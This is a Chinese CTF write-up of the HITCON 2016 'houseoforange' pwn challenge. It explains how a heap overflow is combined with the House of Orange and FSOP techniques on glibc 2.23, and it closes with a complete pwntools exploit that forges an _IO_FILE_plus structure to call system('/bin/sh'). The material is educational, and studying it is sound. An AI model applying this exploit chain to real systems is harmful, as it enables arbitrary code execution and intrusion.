目录

  • 题目分析
  • 利用原理
    • house of orange
    • FSOP
  • 漏洞利用
  • Exp

题目分析



只有添加,显示,编辑三个功能,没有删除


添加函数,最多只能添加四次,每次添加会依次执行malloc(0x10),malloc(name_size),calloc(8),name_size最大为8
House结构体如下

struct Info{int price;
int color;
}struct House{Info* info;
char* name;
}


在编辑函数中,可以重新输入长度进行堆溢出
编辑次数最多为3

利用原理

house of orange

根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断

assert((old_top == initial_top(av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse(old_top) &&((unsigned long)old_end & pagemask) == 0));

这里需要满足几个条件:

  1. topchunk size > MINSIZE(0x10)
  2. top chunk inuse位为1
  3. 修改之后的 size 必须要对齐到内存页

满足之后,top chunk就被free,从而进入unsorted bin

FSOP

在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_

_IO_FILE_plus结构体详细内容如下

其中_chain指向下一个_IO_FILE_plus结构体

在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp

while (fp != NULL)
{…fp = fp->_chain;...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

  1. fp->_mode > 0
  2. _IO_vtable_offset (fp) == 0
  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了

漏洞利用

本题分为两个步骤,首先使用house of orange的办法释放出unsorted bin ,然后利用FSOP劫持控制流

  1. 申请一个小的house,然后把top chunk的大小改小
  2. 申请一个较大的house(此时原来的topchunk被释放进unsorted bin),再申请一个large bin范围内的house(切割unsorted bin),利用该house 泄露libc和堆地址
  3. 编辑house,把剩下unsorted bin的size改为0x60,并在其中伪造_IO_FILE_plus结构体和unsorted bin chunk
    在这一步中,我们首先利用unsorted bin attack修改_IO_list_all,这需要把该chunk的bk改为_IO_list_all-0x10
  4. 再次malloc,触发错误,获得shell
    malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58
    此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误
    此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

Exp

from pwn import *
from LibcSearcher import *r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")context.log_level = 'debug'
DEBUG = 0
if DEBUG:gdb.attach(r, '''b *$rebase(0x13CB)cx/10gx $rebase(0x203068)''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')def add(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('1')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name :")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:")   #1-7r.sendline(str(color))def show():r.recvuntil("Your choice : ")r.sendline('2')def edit(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('3')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name:")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:")  #1-7r.sendline(str(color))add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')r.interactive()

houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP)相关推荐

  1. unsorted bin attack

    0x01 unsorted bin 基本来源 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中. 释放一个不属于 fast bin ...

  2. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  3. glibc-2.29 large bin attack 原理

    glibc-2.29 large bin attack 原理 原创: 星盟安全团队 星盟安全 该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法. ...

  4. houseoforange_hitcon_2016(unsortbin attack,fsop)

    houseoforange_hitcon_2016: 很经典的一道题目,checsec一下,保护全开 程序分析: 这题最主要就是没有free 漏洞分析: edit里的length和add里的lengt ...

  5. Makefile 经典教程(看完这篇就够了,不信你拉拉进度条)

    支持原创:http://blog.csdn.net/haoel/article/details/2886 makefile很重要 什么是makefile?或许很多Winodws的程序员都不知道这个东西 ...

  6. ElasticSearch从入门到精通,史上最全(持续更新,未完待续,每天一点点)

    目录 1.ElasticSearch的简介 2.用数据库实现搜素的功能 3.ES的核心概念 3.1 NRT(Near Realtime)近实时 3.2 cluster集群,ES是一个分布式的系统 3. ...

  7. 好好说话之Large Bin Attack

    large bin attack这种方法本质上并不难,只是有点绕而已.他和上一篇unsorted bin attack有点类似,都是chunk挂进bin链表的时候通过完成链表结构连接时发生的问题,只不 ...

  8. Elasticsearch 入门(1):基本概念,安装教程,索引的创建,查询,删除,主键查询,修改,添加,聚合查询,条件查询

    Elasticsearch 入门 基本概念 The Elastic Stack, 包括 Elasticsearch.Kibana.Beats 和 Logstash(也称为 ELK Stack).能够安 ...

  9. 很详细、很移动的Linux makefile教程:介绍,总述,书写规则,书写命令,使用变量,使用条件推断,使用函数,Make 的运行,隐含规则 使用make更新函数库文件 后序...

    很详细.很移动的Linux makefile 教程 内容如下: Makefile 介绍 Makefile 总述 书写规则 书写命令 使用变量 使用条件推断 使用函数 make 的运行 隐含规则 使用m ...

最新文章

  1. 从头开始学习深度学习之卷积
  2. 测试页打印失败0x0000045a_激光打印机就该选这样的,联想领像L100DW评测
  3. Linux 下 4 种实时监控日志文件的方法,总有一种适合你
  4. python语言自学-为什么建议大家都学习Python语言?原因在这
  5. 易优cms问一下大家 二级目录 真的完全不能装吗
  6. HDU - 5875 Function(单调栈)
  7. 论文阅读课4-Long-tail Relation Extraction via Knowledge Graph Embeddings(GCN,关系抽取,2019,远程监督,少样本不平衡,2注意
  8. torchvision包的主要构成
  9. 英特尔CEO:将在行业整合背景下大力收购半导体企业
  10. 【Spark】Spark是什么
  11. Java 2017.11.20 杨浩宁作业
  12. Drools教程(基础篇)——Eclipse下Drools运行时安装
  13. 百度一下,你就知道.2
  14. CUDA实现focal_loss
  15. NLM6XX系列无线无源采发仪的工作模式
  16. 线性系统粗浅认识——第五次作业
  17. Python笔记6 面向对象
  18. 数学归纳法+递归问题之汉诺塔问题
  19. 苹果抛弃 OpenGL !
  20. 基于ODBC的MFC与sql_server2008r2连接教程和错误解决方法

热门文章

  1. linux定时任务crond那些事!
  2. Mac安装brew,国内推荐使用
  3. matlab bsxfun memory,matlab之bsxfun函数
  4. VRTK_Example解释
  5. 微信小程序高度自适应布局
  6. 人工智能神经网络算法,人工智能神经网络技术
  7. 利用python进行excel格式处理并关联
  8. PASCAL VOC 2012数据集介绍
  9. 使用mysql_upgrade升级mysql5.1至5.6的数据库升级实施方案
  10. Solving environment: failed ResolvePackageNotFound: - ld_impl_linux-64==2.34=h53a641e_4